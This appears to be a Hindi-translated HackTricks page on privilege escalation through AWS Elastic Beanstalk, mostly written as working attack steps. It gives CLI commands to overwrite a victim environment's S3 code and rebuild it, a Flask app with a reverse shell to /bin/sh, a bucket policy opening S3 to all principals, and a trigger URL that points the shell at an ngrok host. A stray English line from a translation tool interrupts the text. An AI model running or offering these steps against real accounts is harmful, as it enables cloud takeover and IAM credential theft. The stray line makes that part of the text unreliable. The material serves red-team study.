AWS - Elastic Beanstalk Privesc

शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Elastic Beanstalk

Elastic Beanstalk के बारे में अधिक जानकारी के लिए:

pageAWS - Elastic Beanstalk Enum

Beanstalk में संवेदनशील क्रियाएं करने के लिए आपको विभिन्न सेवाओं में बहुत सारी संवेदनशील अनुमतियां की आवश्यकता होगी। उदाहरण के लिए आप arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk को दी गई अनुमतियों की जांच कर सकते हैं।

elasticbeanstalk:RebuildEnvironment, S3 लिखने की अनुमतियां & अन्य कई

S3 बकेट पर लिखने की अनुमतियों के साथ जिसमें पर्यावरण का कोड होता है और एप्लिकेशन को पुनर्निर्माण करने की अनुमतियां (इसके लिए elasticbeanstalk:RebuildEnvironment और S3, EC2 और Cloudformation से संबंधित कुछ और अनुमतियां आवश्यक हैं), आप कोड में संशोधन कर सकते हैं, एप्लिकेशन को पुनर्निर्माण कर सकते हैं और अगली बार जब आप एप्लिकेशन तक पहुंचेंगे तो यह आपके नए कोड को निष्पादित करेगा, जिससे हमलावर एप्लिकेशन और उसके IAM रोल क्रेडेंशियल्स को समझौता कर सकता है।

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, और अधिक...

उल्लिखित साथ ही कई S3, EC2, cloudformation, autoscaling और elasticloadbalancing अनुमतियाँ एक कच्चे Elastic Beanstalk परिदृश्य को शुरू से बनाने के लिए आवश्यक हैं।

  • AWS Elastic Beanstalk एप्लिकेशन बनाएं:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

यदि एक पर्यावरण पहले से ही बनाया जा चुका है और आप नया एक बनाना नहीं चाहते, तो आप मौजूदा को केवल अपडेट कर सकते हैं।

  • अपने एप्लिकेशन कोड और निर्भरताओं को एक ZIP फाइल में पैकेज करें:

zip -r MyApp.zip .
  • ZIP फ़ाइल को S3 बकेट में अपलोड करें:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • AWS Elastic Beanstalk एप्लिकेशन संस्करण बनाएं:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • अपने AWS Elastic Beanstalk वातावरण में एप्लिकेशन संस्करण को डिप्लॉय करें:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

सबसे पहले आपको पीड़ित में चलाने के लिए आपके द्वारा चाहे गए कोड के साथ एक वैध Beanstalk पर्यावरण बनाना होगा, पिछले चरणों का अनुसरण करते हुए। संभवतः एक साधारण zip जिसमें ये 2 फाइलें हों:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

जब आपका अपना Beanstalk env चल रहा हो आपके rev shell के साथ, यह समय है इसे माइग्रेट करने का विक्टिम के env में। इसके लिए आपको अपने beanstalk S3 bucket की Bucket Policy अपडेट करनी होगी ताकि विक्टिम इसे एक्सेस कर सके (ध्यान दें कि इससे Bucket सभी के लिए खुल जाएगी):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

Since there is no content provided from the specified hacking book file to translate, I'm unable to proceed with a translation. If you provide the English text that needs to be translated into Hindi, I can certainly help with that while maintaining the markdown and HTML syntax as requested. Please provide the text for translation.

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated